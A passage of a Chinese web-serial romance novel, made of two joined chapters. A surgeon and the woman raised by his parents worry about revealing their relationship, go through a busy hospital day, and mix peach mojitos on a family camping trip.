齐眉张了张嘴想说是自己的,话到嘴边又懒得说了,叹口气转身回厨房,又从冰箱里拿了一盒。 然后在江问舟旁边坐下,语气忐忑地问道:“可是……干妈会骂我们的吧?” 肯定要骂的呀,难道你说了谎还想着家长夸你说得好做得对? 但江问舟也能理解她的害怕,一边拆雪糕盒子一边叹口气道:“要不这样,还是像之前那样,我先回去,把话跟妈说清楚了,你再看情况回去?” “你哄哄她,说不定很快就消气了。”江问舟给她出主意,坦言,“你不可能一直不和他们面对面讲这件事的,对吧?” 那样显得她很没担当,要把江眀琮和孙茂芸哄消气就更难了。 齐眉点点头,抿着嘴用力把雪糕盒子那层封口撕掉,重重叹口气:“我就是怕……” 话没说完就被江问舟打断:“怕什么,怕他们对你说,西西,你真是太让我们失望了?” 齐眉一噎,撩起眼皮看他一下,又低下头去,狠狠挖了一勺雪糕。 接着一把将他手里的那盒抢走,再把饭往他那儿推了推。 “一会儿化了多浪费。”江问舟还是将雪糕拿了回去,往椅背上一靠,继续刚才的话,“不会的,至少爸没有跟我说过这样的话,他只是觉得……有一点奇怪和别扭,这是因为身份突然转变带来的,妈估计也会这样,而且……” 他说到这里一顿,半晌没有继续。 齐眉纳闷,抬眼见他神色欲言又止,一愣:“而且什么?” 江问舟叹了口气,深深看她一眼:“而且你应该相信爸妈,他们对你的感情没有那么浅薄,不是只有你乖巧懂事对他们言听计从,他们才喜欢你。” “可是……”齐眉下意识想反驳,可是刚开口就被江问舟摇头打断。 “可是爸没说让我们分开。”江问舟将那一小盒雪糕三四口吃完,擦手开始吃饭,“回去那天他骂我一顿,前两天我给他打电话又骂一顿,可骂来骂去,也没说一句让我们分开。” 他拿起匙羹,抬头看齐眉一眼,声音里带上了一抹笑意:“一个被窝里睡不出两种人,切记。” 齐眉嘴角一抽,朝他翻一个白眼:“都什么时候了,还开这种玩笑。” “只是提醒你一个事实。”江问舟耸耸肩,“只要不是激烈反对,就有得哄,不用担心,再怎么生气,也不能真不要我们了……吧。” “……你这么自信,这么有信心搞得定,别加吧啊!” 齐眉骂了一句,起身就走了。 江问舟笑笑不说话,他确实很有信心,觉得只要解释清楚,孙茂芸就会像江眀琮那样想通,然后接受这个事实。 虽然想到最后心头也掠过一丝担忧,万一真的挨打…… 他呼吸顿了一下,立刻不去深想。 而是转头看向厨房,扯开话题跟齐眉说起任清葭和陆阳:“昨晚你们视频的时候,我听到你们说什么包办婚姻,是什么事?” “你说那个啊。”齐眉忙着将空气炸锅里的鸡翅夹出来,闻言头也不回,“就是设计师的女朋友,她亲爸妈重男轻女得厉害,为了几十万彩礼,要把她嫁给一个不认识的人,那个人家里有钱,就是人不好,吊儿郎当二世祖,家里是他妈说了算,要包生儿子的哦,前头那个就是因为头胎是女儿,也不想生二胎,最后就离婚了。” “你说这跟推女儿进火坑有什么区别。”齐眉说着,将鸡翅往厨房外递。 江问舟连忙接过,先说了句锅放着我一会儿洗吧,接着道:“你说巧不巧,我最近也听说一桩类似的事,刚才在门口看见徐医生才想起来,这几天忙,都忘了跟你讲。” 齐眉一愣:“……啊?徐医生的事?” 邻居的八卦啊?想听。 她立刻不管空气炸锅了,出来往江问舟旁边一坐:“细说。” “不是她的事!”江问舟顿时哭笑不得,伸手戳一下她脑门,“这么八卦是要被戳*的。” 齐眉啧了声,刚想说你不说我就走了,就听他紧接着道:“前段时间有次值班被叫去急诊会诊,有个患者说胸痛,是被人打的,一起被叫过去的还有胸外和骨科的同事。” 但去了一看,病人的心电图也没什么问题,症状也和心外科的疾病对不上,“倒是X线片看着肋骨确实有断裂,但病人的态度非常差,急诊的同事怕有点什么,索性有一点点怀疑的全都给他请了会诊。” 齐眉托着腮:“然后呢?跟徐医生有什么关系?” 她没记错的话,她家邻居是在结直肠外科的吧? “徐医生当时也在,送人过去的是她朋友。”江问舟一面解释一面吃饭,顺手给齐眉递了个烤鸡翅,“我们到了没多久,病人家属也来了,嚷嚷说要投诉我们不给她儿子看病,徐医生就说了句你回去问问谁看他同不同意,一下就吧对方吓住了。” 齐眉忍不住哇了声:“这么帅!” 江问舟哭笑不得,先是吐槽她小说看多了,接着才说:“等后来我们去写会诊意见,才知道原来那个病人家属,跟她叔叔有点……瓜葛。” 齐眉一愣,啊了声,脑海里一瞬间闪过许多家庭大战的情节桥段。 “那……她家里、知道吗?” “不清楚。”江问舟摇摇头,“后来我听说那个人被打,是因为他和他家里看上一个姑娘,去跟对方家里提亲,还没成那男的就跑去骚扰人家,被人家男朋友揍的。” 齐眉一听,顿时嫌恶地直皱眉,嘟囔道:“怎么这么多奇葩人,这父母也太好当了。” 江问舟失笑,对她说:“所以你想想我们家,爸妈是不是不会这样?从小到大,我们想做的事,他们大多数也都会尊重,是不是?” 包括齐眉不想读博,非要转行,他们不解、生气、阻拦,闹得左邻右舍亲朋好友都知道,但最后还是拗不过她,只得捏着鼻子认了。 “等看你做得好,过得开心,也不那么累,他们就也很高兴地夸你,说你幸好没跟我一样,是不是?” 江问舟说着又给她递一个鸡翅,“所以现在这事也一样,只要我们好好的,过得开心幸福,他们自然就会气消了。” 说得很有道理,但就是吧…… “你是在说服我,还是在给自己吃定心丸?”齐眉歪头好奇地打量他。 说完两根食指托着鸡翅嚼嚼嚼。 江问舟一噎,半晌才没好气地反问道:“都有,不行吗?” “行,行,当然行。”齐眉有些讪讪,把手里的骨头一扔,拍拍手走人。 江问舟刚想问她还吃不吃鸡翅,就见她突然又转身回来了。 问他:“要来一杯漂亮小甜水尝尝吗?” “刚带回来那些?”江问舟有些好奇,点点头,“来一杯。” 看着齐眉拿着杯子去冰箱装了冰块,再把盒子里面所有材料都倒进杯子里,用吸管搅拌均匀,杯盖一合,“喏,好了。” 一杯草绿色的鸡尾酒,入口是清新凉爽的薄荷味,很快就感觉到是青柠的酸涩在主导,江问舟喝了一口,忍不住眉头一皱。 “不好喝吗?”齐眉赶紧问道。 江问舟抿抿唇:“……酸。” 甜度很低,但确实很适合夏天,冰块能让薄荷的清凉更加明显。 “音乐节应该能卖得很好,毕竟天热。”他一面说,一面端着杯子起身往厨房走。 齐眉跟上去,问道:“你说,要是带干爸干妈去音乐节玩,他们是不是就不揍……我了?” 江问舟微微一愣,扭头一看,这人可怜兮兮眼巴巴地看着自己,顿时一阵无语。 咱就是说,“你什么时候挨过揍吗?” 齐眉腼腆地摇摇头:“没有,但是……” 她眨眨眼,有些不好意思地看他一下,眼神有些飘忽:“希望他们揍了你,就不要揍我了!” 说完扭身就跑。 江问舟顿时就气笑了,冲着她的背影就骂:“你就这么对我是吧?都说夫妻同林,有难了才各自飞,你真厉害,难还没来呢,就提前飞了。” “你过来,我保证不打你。” 齐眉一把抱住年年把它往身前挡,冲江问舟大声:“你看我像是这么傻会信你这话的人吗?” 江问舟又被她气笑,等洗了碗,气势汹汹地过来,一把揪住她耳朵。 “走,我们回房说,别吓着孩子。” 接着又凶了一句年年:“你不准来,老实点,上次你招惹别的小狗我还没跟你算账呢。” 齐眉立刻尖叫:“你骂它了,不准再骂我!” 话音刚落,就被扯进了房间,紧接着,房门嘭的一下关上。 ————— 第二天齐眉还是休息,却已经是江问舟的工作日。 早上她睡得迷迷糊糊的,听见有换衣服的声音,就是系皮带会有的那种动静,她忍不住睁了一下眼。 “……几点了,这就要走了?” 江问舟手上动作一顿,过了两秒才继续,扣子发出咔一声的时候,他才淡淡地嗯了声。 “该走了,不然你老公要回来了。” 齐眉一愣:“……嘎?” 一大早发什么疯? 见她睁开眼满脸都是茫然,江问舟这才没好气道:“你听听你刚才说的话,不觉得有歧义吗?” “……嘎?”齐眉还是不懂,“哪里有歧义,不是这么说该怎么说?” 江问舟哼了声:“我这是去上班,不是走。” “……去上班不就是走吗?”齐眉实在搞不懂,脑子根本转不到他说的点上去,干脆眼睛一闭,“你就是吃不着葡萄说葡萄酸,嫉妒我周一不用上班。” 绝对是,不然怎么大清早就开始找茬。 能理解,谁不想工作日睡懒觉呢?不过看在他是自己人的份上,暂且不跟他计较。 江问舟见她翻了个身继续睡,一时有些羡慕,干脆单腿跪在床上,伸手去捏她的鼻子。 “别睡太久,睡懒觉可不是什么好的生活习惯。” 齐眉这下忍不了了,闭着眼就抬手朝他呼过去,啪一下打在他胳膊上,“你讨厌!” 骂完腾一下坐起来,轻薄的夏凉被从她身上滑下来,淡青色的痕迹在雪白的肩膀上格外引人侧目,右边肩峰上还有一枚牙印,齿痕还是新的。 睡衣肩带横过牙印,松垮垮地吊着睡衣的布料,仿佛下一秒衣服就要掉下来似的。 看着自己的杰作,江问舟顿时有些讪讪,连忙收手,“好了,不闹你了,我先走。” 顿了顿,还是说:“别睡太久,早点起来吃早饭。” 声音温和又关切,齐眉一听又不生气了,眯着眼点点头,一面往下躺一面含糊地嘱咐:“开车小心。” 等听到他应好,才又继续道:“中午给你送饭啊?送去办公室,还是门诊?” “都行,出发的时候给我打个电话,看看我在哪儿,要是我没接你就到办公室等我。” 说完低头亲亲她鼻尖,听她答应了,这才起身离开卧室。 年年见他出来,立刻放下吃到一半的狗粮跑过来蹭他,小狗总是不会记仇,已经忘了昨晚睡前还被他敲着脑袋教训的事。 江问舟揉揉它的脑袋笑道:“你在家老实点啊,别吵你妈睡回笼觉。” 年年摇着尾巴送了他出门,又转回来继续吃早饭。 吃早饭跑到齐眉房间门口,开始嗷呜嗷呜地叫唤,声音相当富有节奏和韵律,顺着门缝就往屋里钻。 这让齐眉还怎么睡,她烦躁地爬起来,开门之后先捶了一下它的狗头:“闭嘴!嗷呜嗷呜的,扰民知不知道,小心有人把你抓去卖了!” 跟它玩了一会儿才去洗漱,等出来之后去厨房一看,锅清灶冷,一根毛都没有,顿时忍不住直撇嘴。 叫她别忘了吃早饭的是他,没吃早饭的也是他。 江问舟也不是真的什么都没吃,停好车从停车场上来,路过粥店时买了两个包子,到科室换上工衣,就站在办公室门口一边啃一边跟宋主任将话,问他侄子昨天去店里没有,感觉怎么样。 宋主任一听就忍不住翻了个白眼,没好气道:“这些小皇帝就该全都送去做暑期工锻炼锻炼。” 江问舟有些惊讶:“怎么说?” “平时在家懒得要死,洗个碗都洗不干净,一去店里,就什么都会做了,那杯子洗得干净的,师父还问他是不是在家就经常帮忙做家务。”宋主任摇头,说已经跟田乐他们说好了,多给他安排工作,“必须让他见识见识人间疾苦。” 江问舟一阵好笑,刚想说不用担心,人的适应能力都很强的,等以后有需要就什么都会了。 还没来得及开口,就听到一阵尖锐的警报声响起,护士站的电话传出急促的铃声。 江问舟到了嘴边的话立刻咽回去,连同最后一口包子也吞进肚子里,连忙探头进办公室问:“哪床?” 秦一鸣立刻道:“我们的32床,血压突然降低……” 江问舟连忙转身往外走,一行人匆匆进入病区。 这样忙碌的早晨和齐眉是没什么关系的,她冲了杯麦片,烤了两片吐司,往上面抹点花生酱,用不到五分钟就做好了,再花十分钟吃完,然后去看看阳台的花。 摸摸土的湿润度,觉得暂时不需要浇水,便招呼年年:“走啦,下楼遛弯咯。” 牵引绳一抖,铛啷啷地响,年年立刻跑了过来。 下楼快走到篮球场的时候,听见一阵有些尖锐的犬吠,齐眉立刻站住,拽紧了手里的牵引绳,远远一看,两只吉娃娃正在追逐嬉戏。 年年一副想要去凑热闹的模样,不停地跺脚。 齐眉立刻想起江问舟前天跟她抱怨的事,说年年把人家的小狗吓得汪汪叫,也把他吓够呛,以为把人家小狗吓出什么好歹要赔医药费。 “走,我们从另一边出去。”齐眉扽了一下绳子,拽着有些不情愿的年年换一个方向,从平时没什么人会去的小亭子那边往小区停车场走。 小区的绿化做得很好,小亭子周围种着很多竹子,都是丛生的慈孝竹,竹杆细细的,但很茂盛,掩映得周围一片荫凉。 齐眉刚想找个地方让年年方便一下,要是有落叶,自己要捡也好捡。 还没找到合适的地方呢,就先听竹子后面的亭子里传出一男一女的说话声:“前天你回去,他没说什么吧?” “没说什么,我跟他说是发型师推荐的发型,我觉得还可以就剪了,他光顾着给孩子辅导作业,哪儿会想这么多。” “我还是喜欢你现在这个发型,以前那个丑死了。” “你眼光比他好……” 齐眉:“???” 她愣了一下,旋即反应过来,这个Ta是她,而不是他,应该是这个男的妻子。 那这个对话…… 她一时没敢多想,立刻借着年年的由头发出声音:“哎呀,别蹭别蹭,知道了知道了,你先憋着,我马上就找到合适的地方了。” 边说边拽着年年装作若无其事地往前走,似是刚来,没注意到后面亭子还有人。 男女的说话声戛然而止,齐眉都没敢回头看一眼到底是谁,认不认识。 硬着头皮走了一段路,看到一个角落还可以,就让年年停下来方便,都处理好之后,赶紧提着塑料袋一溜烟离开这地方。 做戏当然要做到底,她还跟年年说呢,“跑起来,快点,你天天吃了不运动,医生说你再这样下去就要减肥了!” 年年一脸懵逼,但它妈扽绳子的动作它还是知道是什么意思的,不管三七二十一,暴冲就完了。 齐眉赶紧顺着它的动作,飞快地离开这个是非之地。 一直跑进了停车场,她才拽住年年停下来松口气,一面念叨着太吓人了,一面赶紧开车门拿水洗了洗手。 钻进车里之后,封闭的空间带来一种让她放松的安全感,这时才忍不住想,妈耶,我不会一不小心就撞破人家什么秘密了吧? 她挠挠头,觉得有些无语,谁能想到啊,今天可是工作日啊,你们都不用上班的吗?! 一时也不知道跟谁吐槽比较好。 手机这时突然震动了一下,一看,是孙茂芸正往家庭群里发照片。 她和朋友这次是去的九寨沟,这时节景色正好,也是旅游旺季,她拍的照片里到处都是游客,发几张又说一句:【啧啧啧,人可真多,我们就是来看人头的。】 接着才发几张自己的照片,穿着漂亮的花裙子站在人群里,头上还卡着墨镜,撑着太阳伞,背着齐眉过年时给她买的双肩包,笑吟吟的看上去特别开心。 齐眉连忙捧场:【干妈好漂亮!】 孙茂芸见她说话,下一条就是语音信息:“西西,我们明天要去汶川哦,去那边玩两三天,要去看大熊猫,看完就回去了,买了很多礼物,熊猫玩偶什么的,都很可爱,都给你哈。” 齐眉一听就麻了。 干妈都不知道自己回来会受到什么样的惊天雷劈,度个假还惦记着给他们带礼物。 强烈的愧疚之情瞬间便涌上心头。 连打字都觉得心烦意乱,身后冒出来一层紧张的冷汗,半天才发了个奔跑的年年做的表情包:【干妈最好啦.jpg】 孙茂芸给她回一朵玫瑰花,又@江眀琮,问他这几天自己在家过得怎么样。 江眀琮发了一张金金在他身上踩奶的照片,然后说:【过得不太好,口腔溃疡了,吃不下,睡不着。】 孙茂芸问他是不是偷吃什么热气东西了,他说没有,就是最近有点事想得有点多,云云。 干妈不知道是什么事,齐眉是知道的,肯定是她和江问舟的事呗。 一时又十分心虚,更加不敢说话了,赶紧退出群聊,系好安全带。 可是又忍不住想看看江眀琮说什么,会不会突然就提到她和江问舟,于是将手机放在一旁,屏幕上就是群聊,时不时就低头看一眼。 幸好到最后江眀琮也没说到底是什么事这么担心,只答应一会儿中午就买瓶凉茶喝喝,看着他们的话题转向了孙茂芸在外面辣椒吃多了也有点上火,齐眉不由得轻轻松口气。 车子一路开到宠物店,齐眉先将年年寄存好,这才动身前往超市。 工作日的中午仓储超市人不多,但齐眉也没什么好好逛逛的心情,推着小推车直奔生鲜区。 买了牛肉、鸡胸肉、鸡腿和鸡翅,又拿了两盒泡芙,决定中午给江问舟送一盒,又买了点虾,再挑点水果和蔬菜,要去结账时看到牛奶有买一送一,干脆也提了两箱。 买东西的时候她脑海里一直在回忆菜谱,一时间不仅忘了看到江眀琮在群里说话时那种紧张的心情,也忘了在小区里遇到的事。 从超市出来,去接上年年回家。 天气太热也没什么心思做饭,直接将鸡翅用盐焗鸡粉腌上,到时候和加了咸蛋黄的贝贝南瓜一起放进烤箱一盘出,接着是准备做青椒炒蛋,拿鸡蛋的时候想起还有一包前几天买的青花鱼,干脆拿出来处理好,准备一会儿一起进烤箱。 汤是很简单的冬瓜肉片汤,加了瑶柱和虾米,其他菜都好了的时候,它也好了。 齐眉吃完饭刚好十二点整,还看着年年吃了一个蛋黄,这才提着饭盒出门。 到了医院门口,她一边找地方停车,一边给江问舟打电话,听说他在门诊,直接就往门诊大楼走。 刚到心外科诊区路口,都还没来得及看江问舟在哪个诊室,就见左手边第二间诊室的门突然拉开,江问舟从里面急匆匆地走出。 齐眉当然不会觉得江问舟这么着急是要接她。 连忙迎上前问:“怎么了?你要去哪儿,饭……” 她想问饭怎么办,话还没说完,就被江问舟抓着胳膊转身,一面推着她肩膀往前走,一面解释道:“病房的病人要抢救,我得赶紧上去看看情况。” 就是在齐眉从医院门口走到门诊大楼这一会儿功夫内发生的事,非常突然,但又很符合这个地方。 齐眉忙哦了一声,把装饭盒的袋子递给他,“那我不跟你上去了,这是饭和汤,还有一个泡芙,你忙完了吃。” 都走到电梯间门口了,江问舟声音一顿:“……你不上去坐坐?” “不了不了,上去你也没空搭理我呀,我还是去店里跟清葭姐他们玩吧。”齐眉摇摇头,反手推着他的肩膀往电梯那边走,“你快去忙吧,晚上见。” 江问舟笑着叹口气,抬手揉揉她的脑袋。 80-85 第81章 第八十一章(二合一)是妹妹,但也是…… 故事主角突然出现,群里的大家先是有一点尴尬,群聊在江问舟的发言后出现了片刻空白。 但这个时间是短暂的,陈妍和蔡朝他们这些和江问舟关系比较好的,很快就开始追问:【所以老大,照片里真是你妹妹吧?】 怕他不知道哪张照片,还引用了一下照片那条信息。 江问舟觉得也别让大家继续猜了,直接承认道:【是妹妹,但也是女朋友。】 没等大家问,他就继续解释:【她的亲生父母是我爸关系很好的同学和战友,在她很小的时候就先后因公牺牲,留下她没人照顾,出于种种原因,加上容城的教育和生活条件都相对较好,所以就将她接过来照顾,虽然没有办理收养手续,但确实视如己出,所以是让我叫妹妹的。】 他这段话刚发出去,就有护理组的同事说:【难怪呢,先前你叔叔在我们科住院的时候,听说他跟你爸爸是战友,都是公职人员,我们还觉得奇怪,二十多年前计划生育那么严,你爸爸是公职人员的话怎么能生二胎,毕竟你妹妹看起来也没比你小几岁。】 现在就说得通了,说白了就是从小一起长大的小青梅,叫一声妹妹也正常。 又因为身世特殊,所以江问舟的父母会对外人介绍这是他们家的女儿。 他们谁都没有说过这个妹妹/女儿是亲生的,是他们多数人按照常理和惯例自己认为的。 陈妍也很快想起来:【我记得好像妹妹一直管老大你妈妈叫……干妈?】 这个信息点在办公室里不是没出现过,只是当下大家吃瓜吃得上头,没人想起来罢了。 江问舟说是,陈妍立刻好奇地问,他们是什么时候在一起的,真的会爱上一个朝夕相处毫无新鲜感、还连对方所有缺点都知道的人吗? 要不说还得是年轻人呢,勇士啊,他们正想问! 恋爱得看别人谈,瓜也是自己人的最好吃。 江问舟闲着也是闲着,倒也不介意多聊几句,于是回答道:【很多年了,她刚上研一的时候我们就在一起了。会不会喜欢上一个自己过分了解的人,我的想法是看个人,有的人会日久生情,有的人不会,至于缺点,如果只是无伤大雅,就看你能不能接受,这个世界上没有十全十美的人。】 即便他总觉得齐眉样样都好,但也知道,她只是在自己眼里处处都好。 大家在惊讶过后,又被他的回答打了个岔,聊起一见钟情和日久生情两种不同的感情类型,说到自己和伴侣是怎么在一起的,慢慢又聊到以前如何轰烈激情,而现在又怎样的一潭死水…… 说什么:“轰轰烈烈是刻骨铭心,但年纪大了就知道,平平淡淡才是真。” 立刻就有人说:“那我先找一个一见钟情的轰轰烈烈几年,玩够了再平平淡淡呗。” 江问舟看得失笑不已。 见没人再追着打听他和齐眉的事了,便默默地不再出声。 倒是将手机递给齐眉,让她一起看聊天记录。 齐眉划拉手机看了一会儿,有些想加入他们的话题,但刚打开键盘,就被江问舟捏住了手指。 “看可以,不要发言。”他说她要做不到,就不给她看了。 齐眉嘴巴一噘:“……为什么,我又不会说你坏话,要不……我在发言之前先声明一下这是我说的?” “……第一次见瓜上赶着往猹的叉子下扑的,生怕人家不八卦咱俩是吧?”江问舟老大一阵无语,干脆把手机拿了回来,“别看了,也没什么好看的,都是老掉牙的话题。” “啪——” 齐眉一拍桌子,大声说他:“你这人怎么这么小气!” 这动静不仅把江问舟吓了一跳,也惊动了正边看电视边讨论剧情的两个大人。 “要死啊!”孙茂芸拍拍心口,惊魂未定地骂了句,“你们两个不看就赶快去别的地方玩去!” 齐眉挨了骂,先是吐吐舌头,然后告状:“干妈,我哥不让我看他手机。” 你快说说他! 江问舟都来不及解释,就听他妈很嫌弃地道:“你让她看看怎么了,藏了什么见不得光的秘密吗?” 江问舟:“……” 孙茂芸说完又警告他们不准再这么一惊一乍的吓人,这才回过头去继续看电视剧。 齐眉眨眨眼睛,扭头望着江问舟嘿嘿笑了一下:“……哥。” “皮这一下很开心是吧?”江问舟捏住她脸,没好气地扯了一下,又松手用手指戳戳,温声问她吃不吃雪糕。 这种语气和动作一看就是没生气,齐眉乖巧地点点头:“要朗姆口味的。” 她喜欢这个口味,所以每次买雪糕都会多买一点这个口味,她曾经开玩笑似的对江问舟说过,长大对于她来说,就意味着想吃什么雪糕都可以自己买。 江问舟将手机递给齐眉,起身上车。 手机都在手上了,齐眉当然要继续看大家在聊什么了。 但也确实把江问舟的话听进去了,没打算发言。 直到她看到郭教授出现:【才半天不看手机,你们聊了这么多?】 有好奇的人立刻便想到他和江问舟的师生关系,打听道:【主任知不知道咱们江主任有对象啦[坏笑]】 齐眉看到这句话时心里一顿。 还没等她多想,郭主任就发了一句:【知道啊,现在能说了吧?他女朋友来过我们办公室好多次的。】 之前的那个人立刻就说:【坏了,装逼竟然没成功[大哭]】 齐眉看了忍不住抿着嘴笑起来。 江问舟这时从车上下来了,拿了三个一样的雪糕,他一个齐眉一个,还有一个给孙茂芸,然后给他爸开了个椰青。 “哥,郭教授来了。”齐眉将手机递给他。 他接过来一看,最新一条消息是秦一鸣发的,说他以前好在朋友圈秀恩爱,他和齐眉的事所有认识他们的人都知道。 还调侃说可能是他年纪大了,稳重了,不爱秀恩爱了,所以大家才不知道这事。 江问舟:“……”你说快要憋死了,就是憋着这话?好好好! 他将群里的信息看完,觉得也没自己什么事,索性切出大群,看到治疗组的小群还有未读消息,点进去一看,果然还是在议论他的事。 不过大家多是怀疑拍照的学生是不是看错了,或者拍摄角度有问题,觉得大家那样议论是不是不太好,还商量要怎么阻止大家再继续发散误会下去。 唯一没有发过言的就只有秦一鸣。 江问舟这才恍然觉得,可能这才是秦一鸣觉得憋得慌的真正原因。 一时又忍俊不禁,点点他的头像,然后往群里发了个红包:【多谢包涵,改天请大家吃饭。】 红包刚发出去,就立刻被领完了,接着才是大家嘻嘻哈哈的恭喜,说不用破费,请他们去齐眉店里喝一杯就够了,别的什么也没说。 同事之间就是这样,关系不远不近,互相尊重,保持和谐即可。 江问舟很满意这种相处方式,爽快答应了,说下个周末有空就聚聚。 正好也到月底了,按惯例,得带学生们去搓一顿了。 又跟郭教授聊了几句,这才把手机放下,正想跟齐眉说说话,就见她又在摆弄那套调酒工具了。 “这是要做什么?”他问道。 “做蜜桃莫吉托啊,忘了吗,刚才就说要做。”齐眉回答道,还冲一旁不停地看。 他好奇地扭头,看见年年和金金正围着一只雪纳瑞闻来闻去,雪纳瑞也一声不吭的任由它们,倒是对挂在车门边的发光小球很好奇。 孙茂芸也看见它了,连忙起身来招呼它:“你家长呢,你怎么一个人来这儿啊?” 话音刚落,就听到有一道急切的女声传来:“小马!老马!咱们家宝莉呢?!狗不见了……” 小马宝莉?这名字有意思,江问舟还没来得及跟齐眉说,就听孙茂芸应道:“这儿呢,跑这儿来啦!” 紧接着就见隔壁的车主两口子急急忙忙跑过来,一面道谢一面弯腰将狗抱起。 聊了几句,大概是说在自己车里就听见他们这边的电视声,有点后悔没带电脑出来,因为他们也在追,孙茂芸便邀请他们一起看。 他们刚说了句不用不用,在大人怀里的小狗便挣扎着想下来,孙茂芸便道:“没事,一起看呗,让宝莉跟我们家孩子会儿。” 在她的热情邀请下,隔壁车的车主留了下来,还回去拿了两把椅子。 孙茂芸笑眯眯地问齐眉:“西西可以多做两杯莫吉托吗?” 齐眉说当然可以,一面答应一面将一杯做好的递给她,接着又做了两杯。 江眀琮不喝,所以第四杯应该是要给江问舟的了。 江问舟扭头看着她的动作,忽然道:“我来吧?” 齐眉闻言一愣:“……来什么?” 见她有些没反应过来,江问舟便笑着解释道:“我来做吧,你教我。” 原来是这个,齐眉哦哦两声:“来来来,你来,学会了你也给我做一杯呗?” “你不嫌弃就好。”江问舟起身,先上车洗手。 等他擦着手回到齐眉身边,就见她面前的桌上已经整齐摆好了一会儿要用到的所有东西。 “蜜桃莫吉托超级简单的,就是普通的莫吉托里面加了桃子。”齐眉认真地给他介绍每一样器具,“这杯酒很简单,用到的东西不多,这是量杯,里面是有刻度的,能看得见吗?” 量酒器对着光,不锈钢内壁反射着一片很亮的区域,恰好就在刻度线上。 齐眉把量杯夹在指间转了一下:“这是双头量杯,小的这边是20,另一头是45,其他规格还有15/30,45/60,等等,在调酒的时候,你的基酒最好一次就加够,比如待会儿我们要加45ml的白朗姆,你就要用45的这头去倒,不要用15/30的,先倒一个30ml再倒一个15ml,听起来好像加上也是45ml,但其实是不太够的,因为会有液体残留,无法保证每一滴都倒进了壶里,要尽量减少误差。” “一定要记住哦,咱们刚开始学还是严谨一点,等熟练了就可以随心所欲了,对吧?” 见江问舟点点头,齐眉接着:“我们现在来看酒谱哦,这是咱们家店里的配方,各家的配方都不太一样,你看我们是用45ml的白朗姆酒,有的店里是用20ml,有的客人不太想摄入太多酒精,也会跟我们要求减少朗姆酒的用量,所以你要是出去喝,可以跟调酒师说一下你喜欢的比例哦。” 江问舟应了声,却接着说:“我不去别的地方喝,就在自家店里,你知道我的口味的。” 齐眉嘿嘿笑了一下,将量酒器放下,拿起另一根沉甸甸的不锈钢棒,“这是碎冰棒,也叫捣碎棒,这个是全钢的,有的这一头是塑胶的,买符合安全标准的就好,待会儿我们要用它把桃子捣出汁哦。” “这是冰夹,一会儿夹冰块用,这是吧勺,可以调匀和引流,拿它是有技巧的,下次教你,今天你就随便用用吧。” 江问舟一开始还只是随便听听,但听着听着就听进去了,感觉自己真的在上课。 听到齐眉说下次教他,他忙点点头应好。 接着就是很简单的操作过程,把切好的桃子果肉放进杯子里,用碎冰棒捣出汁,薄荷叶拍一下,说是拍醒它,放进杯里和桃子果泥一起捣几下,按量加入柠檬汁、糖浆和朗姆酒,再加入碎冰,吧勺搅匀,最后苏打水补满。 “快尝尝,这可是你亲手制作的第一杯鸡尾酒。”齐眉笑眯眯地哇了声。 江问舟端起杯子定定看着,这是很普通的一次性杯,原来是冰杯,齐眉将冰块倒出来做了碎冰,杯子就直接用来调酒了。 他曾经以为,自己第一次学习调酒,去接近齐眉站在在做的事,会是在No.12Diner&Lounge的吧台后,最少也要是在家里,用着专业的器具,笨拙地学习每一个动作。 没想到会是在这里,露天的环境,头顶昏黄的灯光里有小小的飞虫飞舞。 他扭头看向齐眉带着笑意的眉眼,突然很想吻她。 “……还是你喝。”他把酒杯递过去,“这可是我做的第一杯酒。” 有些话不用说出口,齐眉只看一眼他的眼睛就懂了。 她笑着抿了一口,点点头道:“好喝的,和我做的味道一样。” “你也喝,快点,喝了再给我做一杯。”她高兴极了,还忍不住跺跺脚。 江问舟忍不住一阵好笑,这情绪价值给的,不知道的还以为他做的是什么冠军作品,结果是最简单的入门酒。 最后把桃子都用完了,喝了一肚子水,电视剧也看到了最新一集,时间已经到十二点,大家终于散场休息。 孙茂芸和江眀琮先去洗漱,齐眉和江问舟收拾东西,要把厨余垃圾拿去扔掉。 俩人手牵着手晃晃悠悠地走,慢吞吞的,时不时你撞我一下,我搂你一下,等他们回来,两个大人都洗漱好了。 “去扔个垃圾去半个小时,我差点以为你们干坏事去了呢。”孙茂芸吹着头发吐槽道。 齐眉有些不好意思地嘿嘿笑,说先去洗澡,江问舟赶紧说了句:“你头发多,别洗头。” 齐眉还没来得及哦,就听孙茂芸大怒:“你几个意思?说我头发少是吧?!” 完啦,有人要挨揍,溜了溜了。 就这么折腾到快两点才总算能睡下,江问舟熄了灯,在齐眉的手机电筒灯光下,在孙茂芸目不转睛的眼神里,爬上额头床的楼梯。 然后听到孙茂芸吐槽:“我们家猪拱我们家白菜,这猪打还是不打啊?” 江问舟:“……” 齐眉嘻嘻坏笑,等他拉上床帘,扭腰滚进他怀里,小小声在他耳边揶揄道:“干妈说你是猪。” “嗯,猪来拱白菜了。”江问舟淡定地应了声,头一低,脸埋到了她胸前,还亲了亲她的锁骨。 她吓了一跳,连忙把他推开。 但下一秒又忍不住腻歪过去,用气声跟他闲聊:“我们下次还来玩好不好?” 江问舟应好,她就叹气:“这次准备不周,都没准备配酒的奶酪拼盘什么的。” “已经很好了。”江问舟拍拍她的腰,伸手将天窗的帘子拉上,“留点遗憾,下次才有理由再来。” 齐眉一想也是,于是抱住他脖颈仰脸亲了亲他的嘴角。 ————— 露营之后的下一周,是八月份的最后一周,七夕节恰好就在这周。 而且恰好是周五,非常适合情侣和亲友聚会。 这是齐眉和江问舟复合之后的第一个七夕节,也是他们复合之后第一个重要节日,本来该一起过的。 七夕节前一天齐眉值班,晚上和江问舟聊天时他还问要不要一起出去吃饭,说爸妈已经约了去西餐厅,“要不我们也挑一家?” 齐眉想都不想就拒绝了,“明天晚上店里一定忙到爆炸,我不能让佟哥和乐乐两个人累死累活,那太不讲义气了。” 江问舟听了一噎,但又没办法阻拦。 拜托,这可是在妨碍齐老板赚钱,俗话说得好,挡人财路如同杀人那谁,是吧? 半晌,江问舟无奈地嗯了声:“好,那你给我留一张桌,明晚治疗组聚餐。” 齐眉有些惊讶:“你确定?确定别人不用约会?” 不是,大哥,谁能约会的还想去什么团建啊,你摸摸良心看会不会痛? 江问舟再度沉默,这次沉默比上次的持续时间更长。 齐眉眨眨眼,等了一会儿,才喂了声:“还有事吗,没事我就挂了?” 江问舟这时才叹口气:“我问问吧,谁想去谁去,不然我自己占一张桌也行。” 齐眉嗤地笑了一声:“要是那样你还是坐吧台吧,我这儿虽然没有开台费,但多一张桌就多一桌的客人,来几个人,一人一杯都几百的营业额了。” 